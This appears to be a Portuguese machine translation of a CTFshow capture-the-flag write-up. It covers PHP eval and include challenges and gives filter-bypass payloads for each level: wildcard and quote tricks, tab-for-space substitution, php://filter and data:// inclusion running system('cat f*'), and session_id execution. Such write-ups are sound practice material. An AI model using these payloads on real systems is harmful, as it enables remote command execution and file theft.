Notas de execução do comando de entrada CTFSHOW WEB (atualização contínua)

A avaliação da equipe escolar foi derrotada, fechada e reconstruída

Artigo Diretório

29-36

29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}
  • Sinalizador de caso filtrado
  • Carga útil autoconstruída
echo `nl ????.???`; # 显示文本内容与行号
echo `tail ????.???`;# 只看文本的后几行
echo `cat ????.???`; # 从第一行开始显示文本内容
echo `more ????.???`; # 一页一页的显示文本内容
echo `less ????.???`; # 与 more 类似,但是比 more 更好的是,它可以往前翻页!
echo `head ????.???`; # 只看文本的前面几行
echo `tac ????.???`; # 从最后一行开始显示文本
echo `nl fla''g.php`;
echo `nl f*`;
  • Carga útil de outras pessoas
c=eval($_GET[1])?>&1=system('cat flag.php');
c=?><?=echo `$_GET[1]`;&1=cat flag.php//查看源代码

Resumindo:

  1. Sem filtragem * e? Quando esses dois caracteres curinga * representam 0 ou mais caracteres arbitrários? Combine um personagem
  2. nl tail cat mais menos tac head sete comandos podem ver arquivos
  3. Se apenas o flag cat for filtrado, essas strings completas podem ser contornadas por ``
  4. Chamar a função do sistema retorna o valor de retorno da função, como 0 significa execução correta, -1 erro de execução; ao mesmo tempo, o resultado do comando cmd será impresso na interface do console;
  5. A crase retorna diretamente o resultado da execução do cmd, mas não será exibido na tela.
  6. Pensei neste método de aninhamento de eval para construir uma palavra cavalo de Tróia, mas não pensei em aninhar eval tcl
  7. ?> <? = Isso é uma coisa mágica, crie um ambiente para mostrá-lo por si mesmo
<?php
?>
<?='aaaaaaa'?>
  • Visite a página irá mostrar aaaaaaa

<? = "é uma pequena tag de abertura do PHP e um atalho de uso de echo ().
Como usar esta pequena tag, você deve habilitá-la nas configurações
do arquivo PHP.ini . Precisamos encontrá-la no PHP.ini arquivo A seguinte linha e adicionar (On) para ativá-la,

30

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
} 
  • Case filtra o conteúdo acima
  • O sistema de filtragem acabou de ser usado, e o flag e php ainda podem ser contornados pelo método acima
  • Dê uma carga útil
echo `nl fl''ag.p''hp`;

31

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}
  • A principal diferença entre esta questão e a anterior reside na filtragem. E no espaço
  • Carga útil própria
echo`nl%09f*`;
?><?=`nl%09f*`;
?><?=`$_GET[1]`;&1=cat flag.php
eval($_GET[1])?>&1=system('cat flag.php');
eval($_GET[1]);&1=system('cat flag.php');
  • Pontas:

1. Comparado com as questões anteriores, o ponto de teste é a filtragem de espaços
2. O método de contorno% 09 $ {IFS}, $ IFS $ 9, <>, <

32

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}
  • Mais alguns símbolos são filtrados em comparação com o anteriorecho、`、;、(
  • Construa a carga útil:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • Substituído originalmente?> Por; deve ser viável eval deve conter uma instrução PHP completa, mas como; é filtrado, você só pode usar?>
  • Inclusão de arquivo e pseudo-protocolo são usados ​​aqui para obter sinalizadores, lacunas de inclusão de arquivo são usadas e a postura é aumentada.

33-36

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
} 
  • Estou um "pouco confuso
  • carga útil:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • Você pode usar isso para obter a bandeira para até 36 perguntas

37-44

37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        include($c);
        echo $flag;
        }
         }else{
    
    
    highlight_file(__FILE__);
}
  • Há uma inclusão de arquivo aqui, e a vulnerabilidade de inclusão de arquivo deve ser usada para executar o comando
  • No início, eu queria usar o pseudo-protocolo php: // input para conseguir a execução do comando, mas falhou.Aconteceu que havia um problema com meu hackbar.
  • carga útil:
?c=php://input hackbar POST传参<?php system('cat f*');?>
?c=data://text/plain,system('cat f*');?>
?c=data://text/plain,base64;PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

A instrução include (ou require) irá obter todo o texto / código / marcas existentes no arquivo especificado e copiá-lo para o arquivo usando a instrução include.
O data: // text / plain no pseudo protocolo permite ao usuário controlar o fluxo de entrada. Quando combinado com a função include, o fluxo data: // inserido pelo usuário será tratado como um arquivo php para executar
o php: / no pseudo protocolo / entrada, o mesmo princípio

38

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
    
    
        include($c);
        echo $flag;
    
    }
        
}else{
    
    
    highlight_file(__FILE__);
}

-payload:

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

39

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        include($c.".php");
    }
        
}else{
    
    
    highlight_file(__FILE__);
}
  • O sinalizador é filtrado aqui e o sufixo .php é adicionado quando o arquivo é incluído.
  • carga útil:
c=data://text/plain,<?php system('cat f*');?>
  • Dica: data: // text / plain, isso é equivalente a executar uma instrução php. Php Como a instrução php anterior foi fechada, o seguinte .php será tratado como uma página html e exibido diretamente na página, que não tem efeito
  • Não entendo muito bem por que php: // input falha
  • Espere para consertar o poço

40

if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    
    
        eval($c);
    }
        
}else{
    
    
    highlight_file(__FILE__);
} 
  • Filtrou um monte de coisas, filtrou aspas simples, $, `
  • Não faço ideia, eu assisti wp
  • carga útil
c=session_start();system(session_id());
  • Capture o pacote PHPSESSID=lsdesta forma, você pode obter o efeito da execução do comando
  • Equivalente ao sistema ('ls');

Em seguida, altere-o diretamente para c = session_start (); destaque_file (session_id ()); e então altere o valor de PHPSESSID para flag.php e há um problema.
Após o teste, descobriu-se que 5.5-7.1.9 pode ser executado sob a influência da versão php, porque session_id é especificado como caracteres em 0-9, az, AZ, -. Abaixo de 5.5 e acima de 7.1, não é possível escrever outro conteúdo. Mas os personagens que atendem aos requisitos ainda são possíveis.
Reproduzido de Feather Big Brother

  • Escreva a carga útil primeiro highlight_file (next (array_reverse (scandir (pos (localeconv ())))));
  • Funções que precisam ser usadas
  • localeconv (): Retorna um array contendo informações de número local e formato de moeda. O primeiro na matriz é um ponto (.)
  • pos (): Retorna o valor do elemento atual na matriz.
  • array_reverse (): ordem inversa do array
  • scandir (): Obtenha os arquivos no diretório
  • next (): A função aponta o ponteiro interno para o próximo elemento na matriz e o gera.
  • Primeiro pegue o ponto por meio de pos (localeconv ()), porque scandir ('.') Significa obter os arquivos no diretório atual, então
  • scandir (pos (localeconv ())) pode obter flag.php
  • Reimpresso de Feather

Acho que você gosta

Origin blog.csdn.net/CyhDl666/article/details/115126571
Recomendado
Clasificación